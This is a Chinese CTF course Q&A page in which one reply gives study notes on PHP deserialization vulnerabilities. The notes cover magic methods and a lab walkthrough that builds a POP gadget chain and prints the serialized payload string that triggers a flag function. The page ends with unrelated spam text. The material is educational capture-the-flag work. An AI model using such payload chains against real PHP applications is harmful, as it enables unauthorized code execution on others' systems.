<acronym id="bb0p4"><strong id="bb0p4"></strong></acronym>
  • <acronym id="bb0p4"></acronym>
    <td id="bb0p4"></td>
    1. <tr id="bb0p4"><s id="bb0p4"></s></tr>
        <p id="bb0p4"><del id="bb0p4"><xmp id="bb0p4"></xmp></del></p>
        首頁
        社區
        課程
        招聘
        操作不完整

        問題描述

        ,沒講反序列在頁面中怎么操作

        問題出現的環境背景及自己嘗試過哪些方法

        相關代碼

        粘貼代碼文本(請勿用截圖)

        相關調試信息

        附圖或描述

        你期待的結果是什么?實際看到的錯誤信息又是什么?

        收藏
        5條回答
        Editor 2023-9-15

        這節還是有些難的,講師將思路全部講了,實操得自己去摸索一下,這樣才能理解的更深刻。也希望其他人,將研究心得發在筆記里分享出來。

        回復
        Spider_008 2023-9-20

        筆記如下:

        PHP反序列化漏洞分析與實操講解

        簡介

        ● 序列化(serialize()):將PHP對象壓縮并按照一定格式轉換成宇符串過程
        ● 反序列化(unserialize()):從宇符串轉換回PHP對象的過程
        ● 目的:為了方便PHP對象的傳輸和存儲

        聯想到電腦(diy)的栗子

        案例1

         

        ● PS:主要用于對象的持久化(將對象保存到磁盤上以便以后讀取)或在不同系統之間傳輸對象。

        序列化實例



        反序列化攻擊概述

        • unserialize接收的參數用戶可控,傳入構造的字符串,實現攻擊
          • 只序列化屬性、不序列化方法
            • 屬性名、屬性值、訪問控制權限都存在,但是方法消失
        • 要尋找合適的能被我們控制的屬性,利用本身存在的方法

        魔術方法

        ● 以 開頭
        ● (1)construct():當對象創建時會自動調用(但在unserialize()時是不會自動調用的)。
        ● (2)wakeup()unserialize()時會自動調用. 當對象所包含的屬性數<->不一致
        ● (3)destruct():當對象被銷毀時會自動調用。
        ● (4)toString(): 當反序列化后的對象被輸出在模板中的時候(轉換成字符串的時候)自動調用
        __construct()

         

        __destruct()

         

        __sleep()

         

        __wakeup()

         

        __toString()

         

        __invoke()

         

        __call()

         

        反序列化 中常用的魔術方法

         

        wakeup() //使用 unserialize 時觸發 sleep() //使用 serialize 時觸發
        destruct() //對象被銷毀時觸發 call() //在對象上下文中調用不可訪問的方法時觸發
        callstatic () //在靜態上下文中調用不可訪問的方法時觸發 construct()//當對象被創建(new)時會自動調用
        get() //用于從不可訪問的屬性讀取數據 set () //用于將數據寫入不可訪問的屬性
        isset () //在不可訪問的屬性上調用 isset ()或 empty() 時觸發 unset () //在不可訪問的屬性上使用 unset () 時觸發
        tostring() //把類當作字符串使用時觸發 invoke () //當腳本嘗試將對象調用為函數時觸發

         

        反序列化攻擊樣例

         

        Aurora 對象的$test 變量為一個Evil 對象
        Evil對象中的$test2變量為我們想要執行的系統命令
        Aurora對象銷毀時,調用destruct魔法函數,進而調用Evilaction函數,進而執行$test2中我們想要執行的系統命令
        ● 生成Payload

        Review



        實戰分析

        ● 靶機環境 CTF30小時訓練營 實踐題目
        根據Review提示構造payload
        ● step
        ○ 1.查看代碼邏輯;
        ○ 2.根據代碼邏輯構造payload;

         

        class allstart
        {
        public $var1;
        public $var2;
        public function construct()
        {
        $this->var1 = new func1();
        }
        public function
        destruct()
        {
        $this->var1->test1();
        }
        }
        class func1
        {
        public $var1;
        public $var2;
        public function construct()
        {
        $this->var1 = new func2();
        }
        public function test1()
        {
        $this->var1->test2();
        }
        }
        class func2
        {
        //step3: func2->
        call()->在對象上下?中調?不可訪問的?法時觸發
        public $var1;
        public $var2;
        public function construct()
        {
        $this->var1 = new func3();
        }
        public function
        call($test2,$arr)
        {
        $s1 = $this->var1;
        $s1();
        }
        }
        class func3
        {
        //step3:func3->invoke()->concat string
        public $var1;
        public $var2;
        public function
        construct()
        {
        $this->var1 = new func4();
        }
        // 嘗試將對象調?為函數時觸發
        public function invoke()
        {
        $this->var2 = "concat string".$this->var1;
        }
        }
        class func4
        {
        // step2:func4->
        tostring()->get_flag()
        public $str1;
        public $str2;
        public function construct()
        {
        $this->str1 = new toget();
        }
        public function
        toString()
        {
        $this->str1->get_flag();
        return "1";
        }
        }
        class toget
        {
        // step1: get_flag()
        public function get_flag()
        {

        1
        2
                ##echo "flag{***}";
        }

        }
        $a=new allstart();
        echo serialize($a);

         

        O:8:"allstart":2:{s:4:"var1";O:5:"func1":2:{s:4:"var1";O:5:"func2":2:{s:4:"var1";O:5:"func3":2:{s:4:"var1";O:5:"func4":2:{s:4:"str1";O:5:"toget":0:{}s:4:"str2";N;}s:4:"var2";N;}s:4:"var2";N;}s:4:"var2";N;}s:4:"var2";N;}

        總結

        WebPHP反序列化漏洞分析能力得到提高。

        回復
        mb_njatsyxb: 謝謝同學這么細致的筆記,理解了,那獲得了序列化后,怎么獲取flag呢?
        回復 2023-9-21
        Spider_008 2023-9-20

        mark

        回復
        mb_xqobfuba 2024-2-22

        大家序列化之后貼到地址欄那里就行了

        回復
        mb_yazpxvld 2024-3-4

        mark

        回復
        《30小時教你玩轉CTF》
          參與學習     440 人
          提問次數     48 個
        《30小時教你玩轉CTF》;頂尖講師團隊親授,教你深入淺出學攻防;每周一、周四更新
        我的問答 領取收益
        0
        我的提問
        0
        我的回答
        0
        學習收益
        青青草原伊人久久伊人_嫩草网站在线观看_强乱中文字幕在线播放_日本黄色片A三级三级三级